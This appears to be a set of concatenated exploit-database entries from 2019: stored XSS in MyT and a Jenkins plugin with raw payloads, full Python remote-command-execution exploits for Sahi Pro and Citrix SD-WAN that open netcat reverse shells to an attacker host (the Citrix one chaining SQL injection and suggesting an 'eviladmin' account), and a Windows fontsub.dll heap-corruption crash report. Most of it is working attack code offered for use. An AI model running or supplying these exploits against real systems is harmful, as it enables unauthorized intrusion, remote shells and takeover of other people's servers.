# Exploit Title: MyT Project Management - User[username] Stored Cross Site Scripting # Exploit Author: Metin Yunus Kandemir (kandemir) # Vendor Homepage: https://manageyourteam.net/index.html # Software Link: https://sourceforge.net/projects/myt/files/latest/download # Version: 1.5.1 # Category: Webapps # Tested on: Xampp for Windows # Software Description : MyT is an extremely powerful project management tool, and it's easy to use for both administrators and end-users with a really intuitive structure. # CVE : CVE-2019-13346 ================================================================== #Description: "User[username]" parameter has a xss vulnerability. Malicious code is being written to database while user is creating process. #to exploit vulnerability,add user that setting username as "<sCript>alert("XSS")</sCript>" malicious code. POST /myt-1.5.1/user/create HTTP/1.1 Host: target User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://target/myt-1.5.1/user/create Content-Type: multipart/form-data; boundary=---------------------------1016442643560510919154680312 Content-Length: 3921 Cookie: PHPSESSID=bp16alfk843c4qll0ejq302b2j Connection: close Upgrade-Insecure-Requests: 1 -----------------------------1016442643560510919154680312 Content-Disposition: form-data; name="User[username]" <sCript>alert("XSS")</sCript> -----------------------------1016442643560510919154680312 Content-Disposition: form-data; name="User[password]" 12345 -----------------------------1016442643560510919154680312 Content-Disposition: form-data; name="User[password_confirm]" 12345 -----------------------------1016442643560510919154680312 Content-Disposition: form-data; name="User[email]" [email protected] -----------------------------1016442643560510919154680312 Content-Disposition: form-data; name="User[name]" -----------------------------1016442643560510919154680312 Content-Disposition: form-data; name="User[surname]" . ..snip ..snip .
-
Sahi Pro 8.0.0 - Remote Command Execution
# Exploit Title: Sahi Pro V8.0.0 - Unauthenticated Remote Command Execution # Date: 2019-07-12 # Exploit Author: Özkan Mustafa Akkuş (AkkuS) # Contact: https://pentest.com.tr # Vendor Homepage: https://sahipro.com # Software Link: https://sahipro.com/static/builds/pro/install_sahi_pro_v800_20181031.jar # Reference: https://pentest.com.tr/exploits/Sahi-Pro-v8-x-Unauthenticated-RCE-Exploit-Python.html # Version: 8.0.0 # Category: Webapps # Tested on: Linux 4.19.0-kali4-amd64 #1 SMP Debian 4.19.28-2kali1 (2019-03-18) x86_64 GNU/Linux # Description: Sahi allows you to run ".sah" scripts by Sahi Launcher. Also you can create a new script with editor. # It is possible to execute commands on the server using the function "_execute()". # This exploit creates a new sahi script that runs "netcat" on the server and opens a shell session. # It can take 5-20 seconds to receive session. # ================================================================== # PoC: #!/usr/bin/python import sys, requests import colorama, random, urllib from colorama import Fore def bannerche(): print ''' @-------------------------------------------------------------@ | Sahi Pro v8.x - Unauthenticated RCE Exploit | | Vulnerability discovered by AkkuS | | My Blog - https://pentest.com.tr | @-------------------------------------------------------------@ ''' bannerche() def check_nc(rhost,lport): choose = str(raw_input(Fore.RED + "+ [!] Do you listening "+rhost+" "+lport+" with netcat? (y/n): ")) if choose == "n": return False else: return True def execute_command(rhost,rport,filename): runuri = "http://"+rhost+":"+rport+"/_s_/sprm/_s_/dyn/Player_setScriptFile" runheaders = {"Connection": "close"} rundata = "dir=%2Froot%2Fsahi_pro%2Fuserdata%2Fscripts%2F&file="+filename+"&starturl=&manual=0" runsah = requests.post(runuri, headers=runheaders, data=rundata) if runsah.status_code == 200: print (Fore.GREEN + "+ [*] Script was executed. Please wait for the session...") else: print (Fore.RED + "+ [X] Failed to run script.") sys.exit() def create_sah(rhost,rport,scdir,lhost,lport): filename = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(7)) + ".sah" payload = "_execute%28%27nc+"+lhost+"+"+lport+"+-e+%2Fbin%2Fbash%27%29%0A" # it depends I used netcat for PoC sahuri = "http://"+rhost+":"+rport+"/_s_/dyn/pro/EditorUI_saveScript?"+urllib.urlencode({ 'dir' : scdir})+"&file="+filename+"&contents="+payload+"" saheaders = {"Connection": "close"} sahreq = requests.get(sahuri, headers=saheaders) if sahreq.status_code == 200: print (Fore.GREEN + "+ [*] "+filename+" script created successfully!") execute_command(rhost,rport,filename) else: print (Fore.RED + "+ [X] Failed to create "+filename+" script.") sys.exit() def main(): if (len(sys.argv) != 6): print "[*] Usage: poc.py <RHOST> <RPORT> <SCDIR> <LHOST> <LPORT>" print "[*] <RHOST> -> Target IP" print "[*] <RPORT> -> Target Port" print "[*] <SCDIR> -> Target Script Directory" print "[*] <LHOST> -> Attacker IP" print "[*] <LPORT> -> Attacker Port" print "[*] Example: poc.py 192.168.1.2 9999 /root/sahi_pro/userdata/scripts/ 192.168.1.9 4444" exit(0) rhost = sys.argv[1] rport = sys.argv[2] scdir = sys.argv[3] lhost = sys.argv[4] lport = sys.argv[5] if not check_nc(rhost,rport): print (Fore.RED + "+ [*] Please listen to the port required for the session and run exploit again!") else: create_sah(rhost,rport,scdir,lhost,lport) if __name__ == "__main__": main()
-
Jenkins Dependency Graph View Plugin 0.13 - Persistent Cross-Site Scripting
# Exploit Title: Persistent XSS - Dependency Graph View Plugin(v0.13) # Vendor Homepage: https://wiki.jenkins.io/display/JENKINS/Dependency+Graph+View+Plugin # Exploit Author: Ishaq Mohammed # Contact: https://twitter.com/security_prince # Website: https://about.me/security-prince # Category: webapps # Platform: Java # CVE: CVE-2019-10349 # Jenkins issue: #SECURITY-1177 1. Description: The "Display Name" field in General Options of the Configure module in Jenkins was found to be accepting arbitrary value which when loaded in the Dependency Graph View module gets execute which makes it vulnerable to a Stored/Persistent XSS. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10349 2. Proof of Concept: Vulnerable Source http://{jenkins-hostname:port}/jobs/{projectname}/configure Steps to Reproduce: Login to Jenkins Server with valid credentials and ensure that the dependency graph plugin is installed. 1. Click on configure the Jenkins plugin. 2. Select advanced options 3. Enter the XSS payload in the "Display Name" field 4. Navigate to Dependency Graph module 5. Observe the Executed Payload 6. Payload used for the demo: <img src="a" onerror="alert('jenkinsxss')"> 3. Solution: As of publication of this advisory, there is no fix. The plugin hsa been abandoned by the maintainer Reference https://jenkins.io/security/advisory/2019-07-11/#SECURITY-1177
-
Citrix SD-WAN Appliance 10.2.2 - Authentication Bypass / Remote Command Execution
# Exploit Title: Citrix SD-WAN Appliance 10.2.2 Auth Bypass and Remote Command Execution # Date: 2019-07-12 # Exploit Author: Chris Lyne (@lynerc) # Vendor Homepage: https://www.citrix.com # Product: Citrix SD-WAN # Software Link: https://www.citrix.com/downloads/citrix-sd-wan/ # Version: Tested against 10.2.2 # Tested on: # - Vendor-provided .OVA file # CVE: CVE-2019-12989, CVE-2019-12991 # # See Also: # https://www.tenable.com/security/research/tra-2019-32 # https://medium.com/tenable-techblog/an-exploit-chain-against-citrix-sd-wan-709db08fb4ac # https://support.citrix.com/article/CTX251987 # # This code exploits both CVE-2019-12989 and CVE-2019-12991 # You'll need your own Netcat listener import requests, urllib import sys, os, argparse import random from OpenSSL import crypto from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) TIMEOUT = 10 # sec def err_and_exit(msg): print '\n\nERROR: ' + msg + '\n\n' sys.exit(1) # CVE-2019-12989 # auth bypass via file write def do_sql_injection(base_url): url = base_url + '/sdwan/nitro/v1/config/get_package_file?action=file_download' headers = { 'SSL_CLIENT_VERIFY' : 'SUCCESS' } token = random.randint(10000, 99999) json = { "get_package_file": { "site_name" : "blah' union select 'tenable','zero','day','research' INTO OUTFILE '/tmp/token_" + str(token) + "';#", "appliance_type" : "primary", "package_type" : "active" } } try: r = requests.post(url, headers=headers, json=json, verify=False, timeout=TIMEOUT) except requests.exceptions.ReadTimeout: return None # error is expected expected = {"status":"fail","message":"Invalid value specified for site_name or appliance_type"} if (r.status_code == 400 and r.json() == expected): return token else: return None # CVE-2019-12991 # spawns a reverse shell def do_cmd_injection(base_url, token, ncip, ncport): cmd = 'sudo nc -nv %s %d -e /bin/bash' % (ncip, ncport) # url = base_url + '/cgi-bin/installpatch.cgi?swc-token=%d&installfile=`%s`' % (token, cmd) success = False try: r = requests.get(url, verify=False, timeout=TIMEOUT) except requests.exceptions.ReadTimeout: success = True # a timeout is success. it means we should have a shell return success ##### MAIN ##### desc = 'Citrix SD-WAN Appliance Auth Bypass and Remote Command Execution' arg_parser = argparse.ArgumentParser(description=desc) arg_parser.add_argument('-t', required=True, help='Citrix SD-WAN IP Address (Required)') arg_parser.add_argument('-ncip', required=True, help='Netcat listener IP') arg_parser.add_argument('-ncport', type=int, default=4444, help='Netcat listener port (Default: 4444)') args = arg_parser.parse_args() print "Starting... be patient. This takes a sec." # Path to target app base_url = 'https://' + args.t # do sql injection to get a swc-token for auth bypass token = do_sql_injection(base_url) if (token is None): err_and_exit('SQL injection failed.') print 'SQL injection successful! Your swc-token is ' + str(token) + '.' # if this worked, do the command injection # create a new admin user and spawn a reverse shell success = do_cmd_injection(base_url, token, args.ncip, args.ncport) if success is False: err_and_exit('Not so sure command injection worked. Expected a timeout.') print 'Seems like command injection succeeded.' print 'Check for your shell!\n' print 'To add an admin web user, run this command: perl /home/talariuser/bin/user_management.pl addUser eviladmin evilpassword 1'
-
Microsoft Font Subsetting - DLL Heap Corruption in ComputeFormat4CmapData
-----=====[ Background ]=====----- The Microsoft Font Subsetting DLL (fontsub.dll) is a default Windows helper library for subsetting TTF fonts; i.e. converting fonts to their more compact versions based on the specific glyphs used in the document where the fonts are embedded. It is used by Windows GDI and Direct2D, and parts of the same code are also found in the t2embed.dll library designed to load and process embedded fonts. The DLL exposes two API functions: CreateFontPackage and MergeFontPackage. We have developed a testing harness which invokes a pseudo-random sequence of such calls with a chosen font file passed as input. This report describes a crash triggered by a malformed font file in the fontsub.dll code through our harness. -----=====[ Description ]=====----- We have encountered the following crash in fontsub!ComputeFormat4CmapData: --- cut --- (284c.42b4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. FONTSUB!ComputeFormat4CmapData+0x1e5: 00007fff`aa44d295 41897cc304 mov dword ptr [r11+rax*8+4],edi ds:0000013d`775e8003=???????? 0:000> ? r11 Evaluate expression: 1363507314687 = 0000013d`775e7fff 0:000> ? rax Evaluate expression: 0 = 00000000`00000000 0:000> ? edi Evaluate expression: 1 = 00000000`00000001 0:000> !heap -p -a r11 address 0000013d775e7fff found in _DPH_HEAP_ROOT @ 13d77571000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 13d77572e38: 13d775e7fff 1 - 13d775e7000 2000 00007fffcf6530df ntdll!RtlDebugAllocateHeap+0x000000000000003f 00007fffcf60b52c ntdll!RtlpAllocateHeap+0x0000000000077d7c 00007fffcf59143b ntdll!RtlpAllocateHeapInternal+0x00000000000005cb 00007fff9b90be42 vrfcore!VfCoreRtlAllocateHeap+0x0000000000000022 00007fffcca398f0 msvcrt!malloc+0x0000000000000070 00007fffaa44fd1e FONTSUB!Mem_Alloc+0x0000000000000012 00007fffaa448d1d FONTSUB!MergeFormat4Cmap+0x0000000000000261 00007fffaa449788 FONTSUB!MergeCmapTables+0x00000000000004d4 00007fffaa44b046 FONTSUB!MergeFonts+0x00000000000005a6 00007fffaa44baac FONTSUB!MergeDeltaTTF+0x00000000000003ec 00007fffaa4414b2 FONTSUB!MergeFontPackage+0x0000000000000132 [...] 0:000> k # Child-SP RetAddr Call Site 00 0000000c`654fd180 00007fff`aa448e11 FONTSUB!ComputeFormat4CmapData+0x1e5 01 0000000c`654fd1e0 00007fff`aa449788 FONTSUB!MergeFormat4Cmap+0x355 02 0000000c`654fd2e0 00007fff`aa44b046 FONTSUB!MergeCmapTables+0x4d4 03 0000000c`654fd3c0 00007fff`aa44baac FONTSUB!MergeFonts+0x5a6 04 0000000c`654fd570 00007fff`aa4414b2 FONTSUB!MergeDeltaTTF+0x3ec 05 0000000c`654fd6b0 00007ff6`1a8a8a30 FONTSUB!MergeFontPackage+0x132 [...] --- cut --- The root cause of the crash seems to be the fact that the MergeFormat4Cmap() function may allocate a 0-sized buffer and pass it to ComputeFormat4CmapData() in the second argument, but the ComputeFormat4CmapData() function assumes that the buffer is at least 8 bytes long, and unconditionally writes two 32-bit values of -1 and 1 into it. The issue reproduces on a fully updated Windows 10 1709; we haven't tested earlier versions of the system. In order to observe the crash, the PageHeap feature must be enabled in Application Verifier for the FontSub client process, preferably with the "/unaligned" and "/size 0 1" options. Attached are 3 proof of concept malformed font files which trigger the crash. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47113.zip